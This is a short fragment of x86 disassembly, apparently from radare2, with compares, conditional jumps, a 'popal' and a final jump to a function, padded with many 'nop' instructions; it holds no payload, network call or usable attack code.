nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219